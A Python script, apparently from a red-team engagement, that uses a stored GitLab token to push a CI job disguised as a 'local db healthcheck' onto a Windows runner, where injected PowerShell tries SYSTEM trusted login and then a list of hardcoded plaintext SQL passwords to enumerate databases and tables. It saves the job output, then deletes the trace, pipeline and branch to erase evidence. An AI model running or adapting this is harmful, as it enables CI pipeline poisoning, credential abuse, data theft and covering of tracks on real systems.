#!/usr/bin/env python3
r"""P2a' — LOCAL PreProd SQL capture on STASRV25018 (APPROV_v1.3). Staged; --execute.

RDS path is DEAD (endpoint unresolvable from mg segment, see OPLOG 18:24). Retarget
to the LOCAL MSSQLSERVER instance on STASRV25018 itself (listener 1433 confirmed,
service MSSQLSERVER Running). We run as NT AUTHORITY\SYSTEM -> try Windows trusted
connection first, then the known SQL creds. READ-ONLY: list DBs, tables+rowcounts
in APPROV_v1.3, <=10-row samples of largest tables (Q3 format). Cleanup after.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/local-db-healthcheck'

# helper PS function to run a read-only query across auth modes
PS_FN = r'''function Qry($cs, $sql) { try { $cn = New-Object System.Data.SqlClient.SqlConnection($cs); $cn.Open(); $cmd = $cn.CreateCommand(); $cmd.CommandText = $sql; $cmd.CommandTimeout = 15; $rd = $cmd.ExecuteReader(); $rows = @(); while ($rd.Read()) { $vals = @(); for ($i=0; $i -lt $rd.FieldCount; $i++) { $vals += [string]$rd.GetValue($i) }; $rows += ($vals -join " | ") }; $rd.Close(); $cn.Close(); return $rows } catch { return @("ERR: " + $_.Exception.Message.Substring(0,[Math]::Min(100,$_.Exception.Message.Length))) } }'''

LOCAL_PS = [
    PS_FN,
    r'Write-Output "=== AUTH MODE DISCOVERY ==="; $trusted = "Server=localhost,1433;Database=master;Integrated Security=True;Connection Timeout=8;TrustServerCertificate=True;"; $r = Qry $trusted "SELECT name FROM sys.databases ORDER BY name"; if ($r[0] -notmatch "^ERR") { Write-Output "TRUSTED (SYSTEM) LOGIN OK"; $r | ForEach-Object { Write-Output ("DB: " + $_) } } else { Write-Output ("trusted fail, trying SQL creds"); $creds = @("sa|HerMapi@123*","sa|fredPassword@SqlServer2025","boto|boto24","starapp_user|super-Admin-Star-Database-2026"); foreach ($c in $creds) { $p = $c -split "\|"; $cs = "Server=localhost,1433;Database=master;User Id=$($p[0]);Password=$($p[1]);Connection Timeout=8;TrustServerCertificate=True;"; $r2 = Qry $cs "SELECT name FROM sys.databases ORDER BY name"; if ($r2[0] -notmatch "^ERR") { Write-Output ("SQL LOGIN OK: " + $p[0]); $r2 | ForEach-Object { Write-Output ("DB: " + $_) }; break } else { Write-Output ("fail: " + $p[0]) } } }',
    r'Write-Output "=== APPROV TABLES ==="; $trusted = "Server=localhost,1433;Database=APPROV_v1.3;Integrated Security=True;Connection Timeout=8;TrustServerCertificate=True;"; $r = Qry $trusted "SELECT TOP 60 s.name, t.name, p.rows FROM sys.tables t JOIN sys.schemas s ON t.schema_id=s.schema_id JOIN sys.partitions p ON t.object_id=p.object_id AND p.index_id IN (0,1) ORDER BY p.rows DESC"; $r | ForEach-Object { Write-Output ("TBL: " + $_) }',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    script_lines = '\n'.join(f'      {l}' for l in LOCAL_PS)
    return orig.rstrip() + f'''
local_db_healthcheck:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add local db healthcheck',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'local_db_healthcheck':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(60):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'local_sql_trace.txt').write_text(trace)
    (D / 'local_sql_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE (first 6000) =====')
    print(trace[:6000])

if __name__ == '__main__':
    main()